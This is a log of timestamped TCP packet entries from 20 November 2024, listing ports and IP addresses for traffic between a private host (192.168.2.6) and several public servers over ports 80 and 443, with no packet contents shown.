Nov 20, 2024 14:43:38.069720984 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.070461035 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.070476055 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.127432108 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.127536058 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.130114079 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.130147934 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.134119034 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.135241032 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.135793924 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.210227966 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.210333109 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.214123011 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.214147091 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.217885971 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.217897892 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.226788998 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.226953030 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.226969957 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.235568047 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.235635996 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.235652924 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.238359928 CET	443	49837	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:38.238425970 CET	443	49837	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:38.238554955 CET	49837	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:38.239098072 CET	49837	443	192.168.2.6	162.159.61.3
Nov 20, 2024 14:43:38.239118099 CET	443	49837	162.159.61.3	192.168.2.6
Nov 20, 2024 14:43:38.243854046 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.243916988 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.243927002 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.249865055 CET	443	49835	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:38.249933958 CET	443	49835	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:38.249977112 CET	49835	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:38.250165939 CET	49835	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:38.250174046 CET	443	49835	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:38.250781059 CET	443	49838	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:38.250886917 CET	443	49838	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:38.251046896 CET	49838	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:38.251110077 CET	49838	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:38.251116037 CET	443	49838	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:38.255996943 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.256087065 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.256097078 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.269695997 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.270092964 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.270108938 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.292388916 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.293831110 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.293854952 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.305058002 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.305120945 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.305133104 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.311526060 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.311572075 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.311580896 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.319700003 CET	443	49834	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.320178032 CET	49834	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:38.320184946 CET	443	49834	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.320691109 CET	49834	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:38.320694923 CET	443	49834	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.322155952 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.326088905 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.326098919 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.334336996 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.334872961 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.334882975 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.338500977 CET	443	49833	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.342459917 CET	49833	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:38.342477083 CET	443	49833	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.342959881 CET	49833	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:38.342966080 CET	443	49833	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.345827103 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.345892906 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.345915079 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.357645988 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.357819080 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.357852936 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.382075071 CET	443	49844	18.165.220.57	192.168.2.6
Nov 20, 2024 14:43:38.382419109 CET	49844	443	192.168.2.6	18.165.220.57
Nov 20, 2024 14:43:38.382435083 CET	443	49844	18.165.220.57	192.168.2.6
Nov 20, 2024 14:43:38.382972002 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.383029938 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.383044958 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.383389950 CET	443	49844	18.165.220.57	192.168.2.6
Nov 20, 2024 14:43:38.383469105 CET	49844	443	192.168.2.6	18.165.220.57
Nov 20, 2024 14:43:38.385220051 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.385282040 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.385315895 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.387427092 CET	49844	443	192.168.2.6	18.165.220.57
Nov 20, 2024 14:43:38.387501001 CET	443	49844	18.165.220.57	192.168.2.6
Nov 20, 2024 14:43:38.406388998 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.406424999 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.406537056 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.406579971 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.406634092 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.408137083 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.411442041 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.411485910 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.411495924 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.417332888 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.417958975 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.417968035 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.428884983 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.428950071 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.428963900 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.434084892 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.434192896 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.434205055 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.440706015 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.440757990 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.440771103 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.448817968 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.448889017 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.448903084 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.456104040 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.456207037 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.456222057 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.462796926 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.466145039 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.466171980 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.471745014 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.471761942 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.471770048 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.471771955 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.471877098 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.471874952 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.471889019 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.471900940 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.471914053 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.471926928 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.471942902 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.471946001 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.471960068 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.471971989 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.479003906 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.480412006 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.480515957 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.480519056 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.480530977 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.480540037 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.480591059 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.489090919 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.489104986 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.489176035 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.500571012 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.502140045 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.502166033 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.502358913 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.502408981 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.502417088 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.505541086 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.505709887 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.505717039 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.510526896 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.510577917 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.510586023 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.521451950 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.521625042 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.521635056 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.533358097 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.533410072 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.533417940 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.544981003 CET	49844	443	192.168.2.6	18.165.220.57
Nov 20, 2024 14:43:38.545011997 CET	443	49844	18.165.220.57	192.168.2.6
Nov 20, 2024 14:43:38.545327902 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.546030998 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.546037912 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.546339035 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.546458006 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.546463013 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.549550056 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.549593925 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.549599886 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.557806969 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.558033943 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.558057070 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.560054064 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.560106039 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.560116053 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.582113981 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.582145929 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.582194090 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.582205057 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.582258940 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.583460093 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.586224079 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.586280107 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.586288929 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.588606119 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.588663101 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.588670015 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.588702917 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.588757992 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.589313984 CET	49825	443	192.168.2.6	142.250.181.65
Nov 20, 2024 14:43:38.589334965 CET	443	49825	142.250.181.65	192.168.2.6
Nov 20, 2024 14:43:38.605077028 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.605088949 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.605165958 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.650595903 CET	49844	443	192.168.2.6	18.165.220.57
Nov 20, 2024 14:43:38.673347950 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.673361063 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.673413038 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.673458099 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.675720930 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.675736904 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.675793886 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.683754921 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.683809042 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.683895111 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.684077978 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.690680981 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.690756083 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.690821886 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.690941095 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.698740005 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.698821068 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.698826075 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.698870897 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.707849979 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.707902908 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.708003044 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.708046913 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.716038942 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.716053009 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.716114998 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.716151953 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.724025965 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.724134922 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.724179983 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.724265099 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.732146025 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.732245922 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.732332945 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.732379913 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.735594988 CET	443	49851	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.736165047 CET	49851	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:38.736200094 CET	443	49851	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.736668110 CET	49851	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:38.736677885 CET	443	49851	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.740200996 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.740216017 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.740282059 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.740330935 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.746927977 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.746987104 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.746990919 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.747028112 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.776694059 CET	443	49834	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.776762962 CET	443	49834	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.776842117 CET	49834	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:38.778203964 CET	49834	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:38.778223991 CET	443	49834	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.778244019 CET	49834	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:38.778249979 CET	443	49834	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.782797098 CET	49855	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:38.782881021 CET	443	49855	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.782959938 CET	49855	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:38.783144951 CET	49855	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:38.783179045 CET	443	49855	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.795645952 CET	443	49833	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.795712948 CET	443	49833	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.795813084 CET	49833	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:38.796057940 CET	49833	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:38.796070099 CET	443	49833	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.796082973 CET	49833	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:38.796087027 CET	443	49833	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.799299955 CET	49856	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:38.799393892 CET	443	49856	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.799473047 CET	49856	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:38.799782038 CET	49856	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:38.799837112 CET	443	49856	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.806205988 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.806257963 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.806338072 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.806569099 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.810167074 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.810375929 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.862231970 CET	443	49850	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.866393089 CET	49850	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:38.866473913 CET	443	49850	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.866936922 CET	49850	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:38.866952896 CET	443	49850	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:38.870718002 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:38.870752096 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:38.870857000 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:38.870961905 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:38.871009111 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:38.871061087 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:38.871282101 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:38.871294975 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:38.871515036 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:38.871526957 CET	443	49858	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:38.873317957 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.873430014 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.873611927 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.873658895 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.875552893 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.875824928 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.876475096 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.876528025 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.876563072 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.876607895 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.879066944 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.879133940 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.879169941 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.879216909 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.883677006 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.883691072 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.883749008 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.888200998 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.888214111 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.888262987 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.892663956 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.892741919 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.892817020 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.898601055 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.898654938 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.898755074 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.898816109 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.903287888 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.903301001 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.903350115 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.903367996 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.907728910 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.907782078 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.907830000 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.908047915 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.912439108 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.912502050 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.912604094 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.912695885 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.916785955 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.916894913 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.916922092 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.916960955 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.921272993 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.921431065 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.921456099 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.921483994 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.925853014 CET	80	49800	185.215.113.206	192.168.2.6
